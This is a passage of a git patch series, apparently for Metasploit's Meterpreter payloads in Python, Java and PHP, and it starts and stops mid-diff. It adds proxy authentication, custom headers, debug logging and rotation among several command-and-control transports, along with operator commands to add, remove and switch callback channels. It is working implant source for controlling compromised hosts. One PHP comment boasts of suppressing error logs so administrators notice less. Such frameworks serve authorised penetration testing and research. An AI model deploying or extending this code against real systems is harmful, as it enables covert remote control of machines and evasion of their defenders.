packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_HEADER).get('value') + opts['uuid_cookie'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_COOKIE).get('value') return opts @staticmethod @@ -944,9 +945,12 @@ def from_request(request): transport = TcpTransport(url) elif url.startswith('http'): proxy = packet_get_tlv(request, TLV_TYPE_C2_PROXY_URL).get('value') + proxy_user = packet_get_tlv(request, TLV_TYPE_C2_PROXY_USER).get('value') + proxy_pass = packet_get_tlv(request, TLV_TYPE_C2_PROXY_PASS).get('value') user_agent = packet_get_tlv(request, TLV_TYPE_C2_UA).get('value') http_headers = packet_get_tlv(request, TLV_TYPE_C2_HEADERS).get('value', None) - transport = HttpTransport(url, proxy=proxy, user_agent=user_agent) + transport = HttpTransport(url, proxy=proxy, proxy_user=proxy_user, proxy_pass=proxy_pass, + user_agent=user_agent) if http_headers: headers = {} for h in http_headers.strip().split("\r\n"): @@ -955,7 +959,8 @@ def from_request(request): http_host = headers.get('HOST') http_cookie = headers.get('COOKIE') http_referer = headers.get('REFERER') - transport = HttpTransport(url, proxy=proxy, user_agent=user_agent, http_host=http_host, + transport = HttpTransport(url, proxy=proxy, proxy_user=proxy_user, proxy_pass=proxy_pass, + user_agent=user_agent, http_host=http_host, http_cookie=http_cookie, http_referer=http_referer) # Parse C2 profile GET/POST sub-groups if present get_group = packet_get_tlv(request, TLV_TYPE_C2_GET) @@ -1067,7 +1072,8 @@ def tlv_pack_transport_group(self): return trans_group class HttpTransport(Transport): - def __init__(self, url, proxy=None, user_agent=None, http_host=None, http_referer=None, http_cookie=None): + def __init__(self, url, proxy=None, proxy_user=None, proxy_pass=None, + user_agent=None, http_host=None, http_referer=None, http_cookie=None): super(HttpTransport, self).__init__() opener_args = [] scheme = url.split(':', 1)[0] @@ -1079,8 +1085,15 @@ def __init__(self, url, proxy=None, user_agent=None, http_host=None, http_refere opener_args.append(urllib.HTTPSHandler(0, ssl_ctx)) if proxy: opener_args.append(urllib.ProxyHandler({scheme: proxy})) - opener_args.append(urllib.ProxyBasicAuthHandler()) + if proxy_user is not None and proxy_pass is not None: + pw_mgr = urllib.HTTPPasswordMgrWithDefaultRealm() + pw_mgr.add_password(None, proxy, proxy_user, proxy_pass) + opener_args.append(urllib.ProxyBasicAuthHandler(pw_mgr)) + else: + opener_args.append(urllib.ProxyBasicAuthHandler()) self.proxy = proxy + self.proxy_user = proxy_user + self.proxy_pass = proxy_pass opener = urllib.build_opener(*opener_args) opener.addheaders = [] if user_agent: @@ -1145,6 +1158,10 @@ def _build_request_headers(self, c2_opts, uuid=None): headers['User-Agent'] = c2_opts['ua'] if uuid and c2_opts.get('uuid_header'): headers[c2_opts['uuid_header']] = uuid + if uuid and c2_opts.get('uuid_cookie'): + cookie_val = c2_opts['uuid_cookie'] + '=' + uuid + existing = headers.get('Cookie') + headers['Cookie'] = existing + '; ' + cookie_val if existing else cookie_val return headers def _get_uuid(self): From cc285153e77c06f134efc736da2c890033c39785 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 13 May 2026 22:47:47 +1000 Subject: [PATCH 07/35] Proxy, debuglog, custom headers for java - Added support for proxy information configured into URLConnection - Add customheaders to core_transport_add - Debug log parse and wire to the logger --- .../metasploit/meterpreter/HttpTransport.java | 53 ++++++++++++++++++- .../metasploit/meterpreter/Meterpreter.java | 10 ++++ .../meterpreter/core/core_transport_add.java | 1 + .../java/com/metasploit/stage/Config.java | 1 + .../com/metasploit/stage/ConfigParser.java | 1 + 5 files changed, 64 insertions(+), 2 deletions(-) diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java index a3d57cdad..7d8ca0dcc 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java @@ -15,7 +15,9 @@ import java.io.EOFException; import java.io.IOException; import java.io.OutputStream; +import java.net.InetSocketAddress; import java.net.MalformedURLException; +import java.net.Proxy; import java.net.URL; import java.net.URLConnection; @@ -119,6 +121,10 @@ public String getCustomHeaders() { return this.customHeaders; } + public void setCustomHeaders(String customHeaders) { + this.customHeaders = customHeaders; + } + public C2VerbConfig getC2Get() { return this.c2Get; } @@ -362,12 +368,54 @@ private void applyProfileHeaders(URLConnection conn, C2VerbConfig profile) { } } + private Proxy buildProxy() { + if (proxyUrl == null || proxyUrl.length() == 0) { + return null; + } + try { + URL p = new URL(proxyUrl); + int port = p.getPort(); + if (port < 0) { + port = "https".equals(p.getProtocol()) ? 443 : 80; + } + return new Proxy(Proxy.Type.HTTP, new InetSocketAddress(p.getHost(), port)); + } + catch (MalformedURLException ex) { + return null; + } + } + + private void applyProxyAuth(URLConnection conn) { + if (proxyUser == null || proxyUser.length() == 0) { + return; + } + String pass = (proxyPass != null) ? proxyPass : ""; + byte[] creds; + try { + creds = (proxyUser + ":" + pass).getBytes("US-ASCII"); + } catch (java.io.UnsupportedEncodingException ex) { + creds = (proxyUser + ":" + pass).getBytes(); + } + byte[] encoded = base64Encode(creds, B64_CHARS, true); + try { + conn.setRequestProperty("Proxy-Authorization", "Basic " + new String(encoded, "US-ASCII")); + } catch (java.io.UnsupportedEncodingException ex) { + conn.setRequestProperty("Proxy-Authorization", "Basic " + new String(encoded)); + } + } + + private URLConnection openConnection(URL url) throws IOException { + Proxy proxy = buildProxy(); + return (proxy != null) ? url.openConnection(proxy) : url.openConnection(); + } + private URLConnection createGetConnection() { try { URL url = buildProfileUrl(this.c2Get); - URLConnection conn = url.openConnection(); + URLConnection conn = openConnection(url); HttpConnection.addRequestHeaders(conn, customHeaders, userAgent); applyProfileHeaders(conn, this.c2Get); + applyProxyAuth(conn); if (url.getProtocol().equals("https")) { try { @@ -385,9 +433,10 @@ private URLConnection createGetConnection() { private URLConnection createPostConnection() { try { URL url = buildProfileUrl(this.c2Post); - URLConnection conn = url.openConnection(); + URLConnection conn = openConnection(url); HttpConnection.addRequestHeaders(conn, customHeaders, userAgent); applyProfileHeaders(conn, this.c2Post); + applyProxyAuth(conn); if (url.getProtocol().equals("https")) { try { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java index 7ec636a35..76dcc2519 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.DataInputStream; +import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; import java.io.PrintStream; @@ -53,6 +54,15 @@ protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] this.uuid = config.uuid; this.sessionGUID = config.session_guid; + if (config.debug_log != null && config.debug_log.length() > 0) { + try { + PrintStream debugStream = new PrintStream(new FileOutputStream(config.debug_log, true)); + System.setErr(debugStream); + } catch (IOException ignored) { + // failed to open log file; carry on without debug logging + } + } + // here we need to loop through all the given transports, we know that we're // going to get at least one. for (TransportConfig transportConfig : config.transportConfigList) { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java index 66fd4e0c6..13e3760bc 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java @@ -25,6 +25,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons h.setProxyUrl(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_URL, "")); h.setProxyUser(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_USER, "")); h.setProxyPass(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_PASS, "")); + h.setCustomHeaders(request.getStringValue(TLVType.TLV_TYPE_C2_HEADERS, "")); h.setCertHash(request.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, null)); // Parse C2 profile GET/POST sub-groups if present diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java index c6ca94449..3e91a0e30 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java @@ -17,6 +17,7 @@ public class Config { public long session_expiry; public byte[] uuid; public byte[] session_guid; + public String debug_log; public List transportConfigList = new LinkedList(); diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java index ed351c72f..a6aa5e01f 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java @@ -22,6 +22,7 @@ public static Config parseConfig(byte[] configBytes) { config.session_expiry = MS * configPacket.getIntValue(TLVType.TLV_TYPE_SESSION_EXPIRY); config.uuid = configPacket.getRawValue(TLVType.TLV_TYPE_UUID); config.session_guid = configPacket.getRawValue(TLVType.TLV_TYPE_SESSION_GUID); + config.debug_log = configPacket.getStringValue(TLVType.TLV_TYPE_DEBUG_LOG, null); } catch (IOException ioException) { return null; } catch (IllegalArgumentException illegalArgumentException) { From 9e717dd5921614be4197318e43ca11dfef0d51fa Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 13 May 2026 22:53:58 +1000 Subject: [PATCH 08/35] Add debug log and proxy config to PHP --- php/meterpreter/meterpreter.php | 35 +++++++++++++++++++++++++++------ 1 file changed, 29 insertions(+), 6 deletions(-) diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php index cea4a3444..f3bebb1ed 100755 --- a/php/meterpreter/meterpreter.php +++ b/php/meterpreter/meterpreter.php @@ -46,10 +46,22 @@ function register_command($c, $i) { define("MY_DEBUGGING", false); define("MY_DEBUGGING_LOG_FILE_PATH", false); +function my_debugging_enabled() { + return (isset($GLOBALS['DEBUGGING']) ? $GLOBALS['DEBUGGING'] : MY_DEBUGGING) ? true : false; +} + +function my_debugging_path() { + if (isset($GLOBALS['DEBUGGING_LOG_FILE_PATH']) && $GLOBALS['DEBUGGING_LOG_FILE_PATH']) { + return $GLOBALS['DEBUGGING_LOG_FILE_PATH']; + } + return MY_DEBUGGING_LOG_FILE_PATH; +} + function my_logfile($str) { - if (MY_DEBUGGING && MY_DEBUGGING_LOG_FILE_PATH) { + $path = my_debugging_path(); + if (my_debugging_enabled() && $path) { if (!isset($GLOBALS['logfile'])) { - $GLOBALS['logfile'] = fopen(MY_DEBUGGING_LOG_FILE_PATH, 'a'); + $GLOBALS['logfile'] = fopen($path, 'a'); if (!$GLOBALS['logfile']) { my_print("Failed to open debug log file"); @@ -63,7 +75,7 @@ function my_logfile($str) { } function my_print($str) { - if (MY_DEBUGGING) { + if (my_debugging_enabled()) { error_log($str); my_logfile($str); } @@ -1221,6 +1233,10 @@ function parse_config_block($raw) { $t['ua'] = ($tlv != null) ? $tlv['value'] : null; $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_PROXY_URL); $t['proxy_url'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_PROXY_USER); + $t['proxy_user'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_PROXY_PASS); + $t['proxy_pass'] = ($tlv != null) ? $tlv['value'] : null; $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_HEADERS); $t['custom_headers'] = ($tlv != null) ? $tlv['value'] : null; @@ -1723,6 +1739,11 @@ function http_build_context($transport, $profile, $body = null) { if (isset($transport['proxy_url']) && $transport['proxy_url'] != null) { $opts['http']['proxy'] = $transport['proxy_url']; $opts['http']['request_fulluri'] = true; + if (!empty($transport['proxy_user'])) { + $pass = isset($transport['proxy_pass']) ? $transport['proxy_pass'] : ''; + $auth = base64_encode($transport['proxy_user'] . ':' . $pass); + $opts['http']['header'] .= "Proxy-Authorization: Basic " . $auth . "\r\n"; + } } if (strpos($transport['url'], 'https') === 0) { @@ -1785,7 +1806,7 @@ function http_send_packet($transport, $packet) { # Turn off error reporting so we don't leave any ugly logs. Why make an # administrator's job easier if we don't have to? =) -if (MY_DEBUGGING) { +if (my_debugging_enabled()) { error_reporting(E_ALL); } else { error_reporting(0); @@ -1805,8 +1826,10 @@ function http_send_packet($transport, $packet) { $GLOBALS['AES_KEY'] = $config['sym_key']; $GLOBALS['AES_ENABLED'] = false; -if ($config['debug_log'] != null) { - # Debug logging path comes from config +if ($config['debug_log'] != null && strlen($config['debug_log']) > 0) { + # TLV-supplied debug log path overrides the compile-time MY_DEBUGGING_LOG_FILE_PATH + $GLOBALS['DEBUGGING'] = true; + $GLOBALS['DEBUGGING_LOG_FILE_PATH'] = $config['debug_log']; my_print("Debug log path: " . $config['debug_log']); } From 2c0b3d293ac99b41f085ff56415f4a8cc9450529 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 13 May 2026 23:03:40 +1000 Subject: [PATCH 09/35] Multi-transport rotation & transport commands for PHP Replace single-transport dispatch with an outer rotation loop to active transports with the appropriate commands, similar to how Windows/Python do it. Add core_patch_uuid, core_transport_* and the TLV_TYPE_C2_UUID const. --- php/meterpreter/meterpreter.php | 635 +++++++++++++++++++++++--------- 1 file changed, 455 insertions(+), 180 deletions(-) diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php index f3bebb1ed..97e1cdd20 100755 --- a/php/meterpreter/meterpreter.php +++ b/php/meterpreter/meterpreter.php @@ -262,6 +262,7 @@ function socket_set_option($sock, $type, $opt, $value) { define("TLV_TYPE_C2_UUID_COOKIE", TLV_META_TYPE_STRING | 723); define("TLV_TYPE_C2_UUID_GET", TLV_META_TYPE_STRING | 724); define("TLV_TYPE_C2_UUID_HEADER", TLV_META_TYPE_STRING | 725); +define("TLV_TYPE_C2_UUID", TLV_META_TYPE_STRING | 726); # C2 encoding constants define("C2_ENCODING_NONE", 0); @@ -576,7 +577,9 @@ function interacting($cid) { register_command('core_shutdown', COMMAND_ID_CORE_SHUTDOWN); function core_shutdown($req, &$pkt) { my_print("doing core shutdown"); - die(); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, true)); + $GLOBALS['running'] = false; + return ERROR_SUCCESS; } } @@ -749,6 +752,126 @@ function core_machine_id($req, &$pkt) { # Channel Helper Functions ## } + +if (!function_exists('core_patch_uuid')) { + register_command('core_patch_uuid', COMMAND_ID_CORE_PATCH_UUID); + function core_patch_uuid($req, &$pkt) { + my_print("doing core_patch_uuid"); + $cur_idx = $GLOBALS['current_transport_idx']; + $transport = &$GLOBALS['transport_list'][$cur_idx]; + if ($transport['type'] != 'http') { + return ERROR_FAILURE; + } + $tlv = packet_get_tlv($req, TLV_TYPE_C2_UUID); + if ($tlv == null) { return ERROR_FAILURE; } + $new_uuid = $tlv['value']; + $parts = parse_url($transport['url']); + if (!isset($parts['scheme']) || !isset($parts['host'])) { + return ERROR_FAILURE; + } + $port = isset($parts['port']) ? ':' . $parts['port'] : ''; + $transport['url'] = $parts['scheme'] . '://' . $parts['host'] . $port . '/' . $new_uuid; + return ERROR_SUCCESS; + } +} + +if (!function_exists('core_transport_list')) { + register_command('core_transport_list', COMMAND_ID_CORE_TRANSPORT_LIST); + function core_transport_list($req, &$pkt) { + my_print("doing core_transport_list"); + $expiry = $GLOBALS['session_expiry_end'] - time(); + if ($expiry < 0) { $expiry = 0; } + packet_add_tlv($pkt, create_tlv(TLV_TYPE_SESSION_EXPIRY, $expiry)); + # Emit current first, then rotate forward (matches Python ordering) + $cur = $GLOBALS['current_transport_idx']; + $count = count($GLOBALS['transport_list']); + for ($i = 0; $i < $count; $i++) { + $idx = ($cur + $i) % $count; + $t = $GLOBALS['transport_list'][$idx]; + packet_add_tlv($pkt, create_tlv(TLV_TYPE_C2, tlv_pack_transport_group($t))); + } + return ERROR_SUCCESS; + } +} + +if (!function_exists('core_transport_next')) { + register_command('core_transport_next', COMMAND_ID_CORE_TRANSPORT_NEXT); + function core_transport_next($req, &$pkt) { + my_print("doing core_transport_next"); + $new_idx = transport_next_idx(); + if ($new_idx == $GLOBALS['current_transport_idx']) { + return ERROR_FAILURE; + } + request_transport_switch($new_idx); + return ERROR_SUCCESS; + } +} + +if (!function_exists('core_transport_prev')) { + register_command('core_transport_prev', COMMAND_ID_CORE_TRANSPORT_PREV); + function core_transport_prev($req, &$pkt) { + my_print("doing core_transport_prev"); + $new_idx = transport_prev_idx(); + if ($new_idx == $GLOBALS['current_transport_idx']) { + return ERROR_FAILURE; + } + request_transport_switch($new_idx); + return ERROR_SUCCESS; + } +} + +if (!function_exists('core_transport_add')) { + register_command('core_transport_add', COMMAND_ID_CORE_TRANSPORT_ADD); + function core_transport_add($req, &$pkt) { + my_print("doing core_transport_add"); + $t = parse_transport_from_request($req); + if ($t == null) { return ERROR_FAILURE; } + # Insert before the current transport; current_transport_idx shifts forward + # to keep pointing at the same transport object. + $cur = $GLOBALS['current_transport_idx']; + array_splice($GLOBALS['transport_list'], $cur, 0, array($t)); + $GLOBALS['current_transport_idx'] = $cur + 1; + return ERROR_SUCCESS; + } +} + +if (!function_exists('core_transport_remove')) { + register_command('core_transport_remove', COMMAND_ID_CORE_TRANSPORT_REMOVE); + function core_transport_remove($req, &$pkt) { + my_print("doing core_transport_remove"); + $tlv = packet_get_tlv($req, TLV_TYPE_C2_URL); + if ($tlv == null) { return ERROR_FAILURE; } + $url = $tlv['value']; + $cur_idx = $GLOBALS['current_transport_idx']; + if ($GLOBALS['transport_list'][$cur_idx]['url'] == $url) { + # Can't remove the active transport + return ERROR_FAILURE; + } + $rm_idx = transport_find_idx_by_url($url); + if ($rm_idx < 0) { return ERROR_FAILURE; } + array_splice($GLOBALS['transport_list'], $rm_idx, 1); + if ($rm_idx < $cur_idx) { + $GLOBALS['current_transport_idx']--; + } + return ERROR_SUCCESS; + } +} + +if (!function_exists('core_transport_change')) { + register_command('core_transport_change', COMMAND_ID_CORE_TRANSPORT_CHANGE); + function core_transport_change($req, &$pkt) { + my_print("doing core_transport_change"); + $t = parse_transport_from_request($req); + if ($t == null) { return ERROR_FAILURE; } + # Insert AFTER the current transport so the response still goes out on + # the old one. Request a switch to the newly-inserted index. + $cur = $GLOBALS['current_transport_idx']; + array_splice($GLOBALS['transport_list'], $cur + 1, 0, array($t)); + request_transport_switch($cur + 1); + return ERROR_SUCCESS; + } +} + $channels = array(); function register_channel($in, $out=null, $err=null, $subtype=null) { @@ -1255,6 +1378,306 @@ function parse_config_block($raw) { return $config; } +## +# Multi-transport rotation helpers +## +define('DISPATCH_EXIT', 0); # session ended or shutdown requested +define('DISPATCH_RETIRE', 1); # current transport timed out / disconnected +define('DISPATCH_SWITCH', 2); # explicit transport switch requested + +function transport_next_idx($idx = null) { + if ($idx === null) { $idx = $GLOBALS['current_transport_idx']; } + $count = count($GLOBALS['transport_list']); + return ($idx + 1) % $count; +} + +function transport_prev_idx($idx = null) { + if ($idx === null) { $idx = $GLOBALS['current_transport_idx']; } + $count = count($GLOBALS['transport_list']); + return ($idx - 1 + $count) % $count; +} + +function transport_find_idx_by_url($url) { + foreach ($GLOBALS['transport_list'] as $i => $t) { + if ($t['url'] == $url) { return $i; } + } + return -1; +} + +function request_transport_switch($new_idx) { + $GLOBALS['next_transport_idx'] = $new_idx; +} + +function parse_transport_from_request($req) { + # Mirror parse_config_block per-transport parsing, but from a TLV packet + # (with header) instead of a raw C2 group's bytes. + $url_tlv = packet_get_tlv($req, TLV_TYPE_C2_URL); + if ($url_tlv == null) { return null; } + $t = array('url' => $url_tlv['value']); + + $tlv = packet_get_tlv($req, TLV_TYPE_C2_COMM_TIMEOUT); + $t['comm_timeout'] = ($tlv != null) ? $tlv['value'] : 300; + $tlv = packet_get_tlv($req, TLV_TYPE_C2_RETRY_TOTAL); + $t['retry_total'] = ($tlv != null) ? $tlv['value'] : 3600; + $tlv = packet_get_tlv($req, TLV_TYPE_C2_RETRY_WAIT); + $t['retry_wait'] = ($tlv != null) ? $tlv['value'] : 10; + + if (strpos($t['url'], 'http') === 0) { + $t['type'] = 'http'; + $tlv = packet_get_tlv($req, TLV_TYPE_C2_UA); + $t['ua'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv($req, TLV_TYPE_C2_PROXY_URL); + $t['proxy_url'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv($req, TLV_TYPE_C2_PROXY_USER); + $t['proxy_user'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv($req, TLV_TYPE_C2_PROXY_PASS); + $t['proxy_pass'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv($req, TLV_TYPE_C2_HEADERS); + $t['custom_headers'] = ($tlv != null) ? $tlv['value'] : null; + + $get_group = packet_get_tlv($req, TLV_TYPE_C2_GET); + $t['c2_get'] = ($get_group != null) ? parse_c2_verb_config($get_group['value']) : null; + $post_group = packet_get_tlv($req, TLV_TYPE_C2_POST); + $t['c2_post'] = ($post_group != null) ? parse_c2_verb_config($post_group['value']) : null; + } else { + $t['type'] = 'tcp'; + } + return $t; +} + +function tlv_pack_transport_group($t) { + $group = tlv_pack(create_tlv(TLV_TYPE_C2_URL, $t['url'])); + $group .= tlv_pack(create_tlv(TLV_TYPE_C2_COMM_TIMEOUT, $t['comm_timeout'])); + $group .= tlv_pack(create_tlv(TLV_TYPE_C2_RETRY_TOTAL, $t['retry_total'])); + $group .= tlv_pack(create_tlv(TLV_TYPE_C2_RETRY_WAIT, $t['retry_wait'])); + if ($t['type'] == 'http') { + if (!empty($t['ua'])) { + $group .= tlv_pack(create_tlv(TLV_TYPE_C2_UA, $t['ua'])); + } + if (!empty($t['proxy_url'])) { + $group .= tlv_pack(create_tlv(TLV_TYPE_C2_PROXY_URL, $t['proxy_url'])); + } + } + return $group; +} + +function activate_transport(&$transport) { + if ($transport['type'] == 'http') { + return true; + } + # TCP: use the pre-connected stager socket on the first attempt of the first + # transport. Subsequent TCP transports must open a fresh socket. + if (isset($GLOBALS['msgsock']) && empty($GLOBALS['_msgsock_consumed'])) { + $msgsock = $GLOBALS['msgsock']; + $msgsock_type = $GLOBALS['msgsock_type']; + switch ($msgsock_type) { + case 'socket': + register_socket($msgsock); + break; + case 'stream': + default: + register_stream($msgsock); + } + $transport['_socket'] = $msgsock; + $GLOBALS['_msgsock_consumed'] = true; + return true; + } + $url_parts = parse_url($transport['url']); + if (!isset($url_parts['host']) || !isset($url_parts['port'])) { + my_print("Invalid TCP transport URL: " . $transport['url']); + return false; + } + my_print("TCP transport, connecting to " . $url_parts['host'] . ":" . $url_parts['port']); + $sock = connect($url_parts['host'], $url_parts['port']); + if (!$sock) { return false; } + $transport['_socket'] = $sock; + return true; +} + +function activate_transport_with_retry(&$transport) { + $end = time() + $transport['retry_total']; + $first = true; + while (time() < $end) { + if (!$first) { + $wait = max(1, (int)$transport['retry_wait']); + sleep($wait); + } + if (activate_transport($transport)) { + return true; + } + $first = false; + } + return false; +} + +function dispatch_tcp(&$transport) { + $msgsock = $transport['_socket']; + add_reader($msgsock); + $r = $GLOBALS['readers']; + $w = null; $e = null; $t = 1; + while (false !== ($cnt = select($r, $w, $e, $t))) { + if (empty($GLOBALS['running']) || time() > $GLOBALS['session_expiry_end']) { + remove_reader($msgsock); close($msgsock); + return DISPATCH_EXIT; + } + if ($GLOBALS['next_transport_idx'] !== null) { + remove_reader($msgsock); close($msgsock); + return DISPATCH_SWITCH; + } + for ($i = 0; $i < $cnt; $i++) { + $ready = $r[$i]; + if ($ready == $msgsock) { + $packet = read($msgsock, 32); + if (false == $packet) { + remove_reader($msgsock); close($msgsock); + return DISPATCH_RETIRE; + } + $xor = substr($packet, 0, 4); + $header = xor_bytes($xor, substr($packet, 4, 28)); + $len_array = unpack("Nlen", substr($header, 20, 4)); + $len = $len_array['len'] + 32 - 8; + while (strlen($packet) < $len) { + $packet .= read($msgsock, $len - strlen($packet)); + } + $response = create_response(decrypt_packet(xor_bytes($xor, $packet))); + write_tlv_to_socket($msgsock, $response); + } else { + #my_print("not Msgsock: $ready"); + $chan_id = get_channel_id_from_resource($ready); + $channel = false; + if ($chan_id !== false) { + $channel = get_channel_by_id($chan_id); + } + + if ($channel && isset($channel['subtype']) && $channel['subtype'] == 'tcp_server') { + $client_sock = false; + $client_addr = ''; + $client_port = 0; + $server_addr = ''; + $server_port = 0; + + switch (get_rtype($ready)) { + case 'socket': + $client_sock = @socket_accept($ready); + if ($client_sock) { + @socket_getpeername($client_sock, $client_addr, $client_port); + @socket_getsockname($ready, $server_addr, $server_port); + register_socket($client_sock); + } + break; + case 'stream': + $peer_name = ''; + $client_sock = @stream_socket_accept($ready, 0, $peer_name); + if ($client_sock) { + $local_name = stream_socket_get_name($ready, false); + if (!is_string($peer_name)) { + $peer_name = ''; + } + if (!is_string($local_name)) { + $local_name = ''; + } + + if (preg_match('/^\[([^\]]+)\]:(\d+)$/', $peer_name, $matches)) { + $client_addr = $matches[1]; + $client_port = (int)$matches[2]; + } elseif (preg_match('/^([^:]+):(\d+)$/', $peer_name, $matches)) { + $client_addr = $matches[1]; + $client_port = (int)$matches[2]; + } + + if (preg_match('/^\[([^\]]+)\]:(\d+)$/', $local_name, $matches)) { + $server_addr = $matches[1]; + $server_port = (int)$matches[2]; + } elseif (preg_match('/^([^:]+):(\d+)$/', $local_name, $matches)) { + $server_addr = $matches[1]; + $server_port = (int)$matches[2]; + } + + register_stream($client_sock); + } + break; + } + + if ($client_sock) { + $client_channel_id = register_channel($client_sock); + add_reader($client_sock); + + $pkt = pack("N", PACKET_TYPE_REQUEST); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $client_channel_id)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_PARENTID, $chan_id)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_HOST, $server_addr)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_PORT, $server_port)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $client_addr)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $client_port)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID'])); + $pkt = pack("N", strlen($pkt) + 4) . $pkt; + write_tlv_to_socket($msgsock, $pkt); + } + } else { + $data = read($ready); + if (false === $data) { + handle_dead_resource_channel($ready); + } elseif (strlen($data) > 0) { + my_print(sprintf("Read returned %s bytes", strlen($data))); + $request = handle_resource_read_channel($ready, $data); + if ($request) { + write_tlv_to_socket($msgsock, $request); + } + } + } + } + } + $r = $GLOBALS['readers']; + } + remove_reader($msgsock); close($msgsock); + return DISPATCH_RETIRE; +} + +function dispatch_http(&$transport) { + my_print("Starting HTTP transport to " . $transport['url']); + $last_packet_time = time(); + $empty_count = 0; + + while (true) { + if (empty($GLOBALS['running']) || time() >= $GLOBALS['session_expiry_end']) { + return DISPATCH_EXIT; + } + if ($GLOBALS['next_transport_idx'] !== null) { + return DISPATCH_SWITCH; + } + if (time() > $last_packet_time + $transport['comm_timeout']) { + my_print("Communication timeout reached"); + return DISPATCH_RETIRE; + } + + $raw = http_get_packet($transport); + + if ($raw != null && strlen($raw) >= 32) { + $empty_count = 0; + $last_packet_time = time(); + + $xor = substr($raw, 0, 4); + $decrypted = decrypt_packet(xor_bytes($xor, $raw)); + $response = create_response($decrypted); + + $xor_key = rand_xor_key(); + $encrypted = encrypt_packet($response); + $packet = $xor_key . xor_bytes($xor_key, $encrypted); + http_send_packet($transport, $packet); + } else { + if ($raw !== null) { + # empty 200: connection is alive + $last_packet_time = time(); + } + $delay = min(10, $empty_count * 0.1); + $empty_count++; + usleep((int)($delay * 1000000)); + } + } +} + function packet_get_all_tlvs($pkt, $type) { my_print("Looking for all tlvs of type $type"); # Start at offset 8 to skip past the packet header @@ -1835,192 +2258,44 @@ function http_send_packet($transport, $packet) { $GLOBALS['transport_list'] = $config['transports']; $GLOBALS['current_transport_idx'] = 0; +$GLOBALS['next_transport_idx'] = null; $GLOBALS['session_expiry_end'] = time() + $config['session_expiry']; +$GLOBALS['running'] = true; -$transport = $GLOBALS['transport_list'][0]; +# +# Outer transport-rotation loop: activate the current transport (with retry), +# dispatch on it, then rotate forward or switch as directed. +# +while ($GLOBALS['running'] && time() < $GLOBALS['session_expiry_end']) { + $idx = $GLOBALS['current_transport_idx']; + $transport = &$GLOBALS['transport_list'][$idx]; -if ($transport['type'] == 'tcp') { - # For TCP transports: use the pre-connected stager socket if available, - # otherwise connect fresh. - if (isset($GLOBALS['msgsock'])) { - $msgsock = $GLOBALS['msgsock']; - $msgsock_type = $GLOBALS['msgsock_type']; - switch ($msgsock_type) { - case 'socket': - register_socket($msgsock); - break; - case 'stream': - default: - register_stream($msgsock); - } - } else { - # Parse host:port from tcp://host:port URL - $url_parts = parse_url($transport['url']); - $ipaddr = $url_parts['host']; - $port = 